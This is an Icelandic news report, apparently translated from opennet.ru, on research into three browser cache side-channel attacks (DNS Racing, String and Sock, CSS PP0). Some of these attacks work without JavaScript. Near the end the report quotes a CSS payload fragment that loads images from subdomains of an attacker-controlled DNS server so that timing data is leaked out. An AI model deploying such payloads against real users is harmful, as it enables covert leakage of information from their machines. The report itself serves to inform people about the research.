CPU skyndiminni útdráttarárás útfærð í vafra án JavaScript

Hópur vísindamanna frá nokkrum bandarískum, ísraelskum og ástralskum háskólum hefur þróað þrjár árásir sem keyra á vafra til að draga út upplýsingar um innihald örgjörva skyndiminni. Ein aðferðin virkar í vöfrum án JavaScript og hinar tvær framhjá núverandi aðferðum til verndar gegn árásum á hliðarrásir, þar á meðal þær sem notaðar eru í Tor vafranum og DeterFox. Kóðinn til að sýna árásirnar, svo og netþjónsíhlutirnir sem nauðsynlegir eru fyrir árásirnar, eru birtar á GitHub.

Til að greina innihald skyndiminni nota allar árásir Prime+Probe aðferðina, sem felur í sér að fylla skyndiminni með stöðluðu setti af gildum og greina breytingar með því að mæla aðgangstímann að þeim þegar þau eru fyllt aftur. Til að komast framhjá öryggiskerfum sem eru til staðar í vöfrum sem trufla nákvæmar tímamælingar, í tveimur valkostum, er höfðað til DNS eða WebSocket netþjóns sem stjórnað er af árásarmanninum, sem heldur skrá yfir tíma móttekinna beiðna. Í einni útfærslu er fastur DNS viðbragðstími notaður sem tímaviðmiðun.

Mælingar sem gerðar voru með ytri DNS eða WebSocket netþjónum, með því að nota flokkunarkerfi byggt á vélanámi, dugðu til að spá fyrir um gildi með allt að 98% nákvæmni í bestu atburðarásinni (að meðaltali 80-90%). Árásaraðferðirnar hafa verið prófaðar á ýmsum vélbúnaðarpöllum (Intel, AMD Ryzen, Apple M1, Samsung Exynos) og hafa reynst alhliða.

CPU skyndiminni útdráttarárás útfærð í vafra án JavaScript

Fyrsta afbrigðið af DNS Racing árásinni notar klassíska útfærslu á Prime+Probe aðferðinni með því að nota JavaScript fylki. Munurinn snýst um notkun á utanaðkomandi DNS-undirstaða tímamæli og villustjórnun, sem kemur af stað þegar reynt er að hlaða mynd frá léni sem ekki er til. Ytri tímamælir gerir ráð fyrir Prime+Probe árás á vafra sem takmarka eða algjörlega slökkva á aðgangi að JavaScript tímamælum.

Fyrir DNS netþjón sem staðsettur er á sama Ethernet neti er nákvæmni tímamælisins áætluð um það bil 2 ms, sem er nóg til að framkvæma hliðarrásarárás (til samanburðar er nákvæmni staðlaðs JavaScript tímamælis í Tor vafranum minnkað í 100 ms). Fyrir árásina er ekki þörf á stjórn á DNS-þjóninum, þar sem framkvæmdartími aðgerðarinnar er valinn þannig að viðbragðstími frá DNS þjónar sem merki um að athuguninni hafi verið lokið fyrr (eftir því hvort villuhöndlunin var ræst fyrr eða síðar er ályktun dregin um hraða athugunaraðgerðarinnar með skyndiminni).

Önnur árásaraðferðin, „String and Sock“, miðar að því að komast framhjá öryggistækni sem takmarkar lágmarksnotkun fylkja í JavaScript. Í staðinn fyrir fylki notar String and Sock aðgerðir á mjög stórum strengjum, stærð þeirra er valin þannig að breytan nái yfir allt LLC skyndiminni (Last level cache). Því næst, með því að nota indexOf() fallið, er leitað að litlum undirstreng í strengnum, sem er upphaflega fjarverandi í upprunastrengnum, þ.e. leitaraðgerðin leiðir til endurtekningar yfir allan strenginn. Þar sem línustærðin samsvarar stærð LLC skyndiminni, gerir skönnun þér kleift að framkvæma skyndiminnisskoðun án þess að vinna með fylkin. Til að mæla tafir, í stað DNS, er hringt í WebSocket netþjón sem stjórnað er af árásarmanninum - áður en og eftir að leitaraðgerðinni er lokið eru fyrirspurnir sendar í línuna sem byggir á því að þjónninn reiknar út seinkunina sem notuð er til að greina skyndiminni innihald.

Þriðja afbrigðið af „CSS PP0“ árásinni er útfært í gegnum HTML og CSS og getur virkað í vöfrum með JavaScript óvirkt. Aðferðin er svipuð "String and Sock", en er ekki bundin við JavaScript. Meðan á árásinni stendur myndast sett af CSS-veljum sem leita eftir grímu. Stóri upphafsstrengurinn sem fyllir skyndiminni er stilltur með því að búa til div tag með mjög stóru flokksheiti. Inni er sett af öðrum deildum með eigin auðkenni. Hver af þessum hreiðu deildum hefur sinn stíl með vali sem leitar að undirstreng. Við endurgerð síðu reynir vafrinn fyrst að vinna úr innri divs, sem leiðir til leitaraðgerðar á stórri röð. Leitin er framkvæmd með því að nota grímu sem vísvitandi vantar og leiðir til endurtekningar yfir alla línuna, eftir það kviknar „ekki“ ástandið og reynt er að hlaða inn bakgrunnsmynd sem vísar til tilviljunarkenndra léna: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Undirlén eru þjónað af DNS netþjóni árásarmannsins, sem getur mælt tafir á móttöku beiðna. DNS þjónninn gefur út NXDOMAIN fyrir allar beiðnir og heldur skrá yfir nákvæman tíma beiðna. Sem afleiðing af vinnslu setts af divs, fær DNS-þjónn árásarmannsins röð beiðna, tafirnar á milli þeirra eru í samræmi við niðurstöður þess að athuga innihald skyndiminni.

CPU skyndiminni útdráttarárás útfærð í vafra án JavaScript


Heimild: opennet.ru

Bæta við athugasemd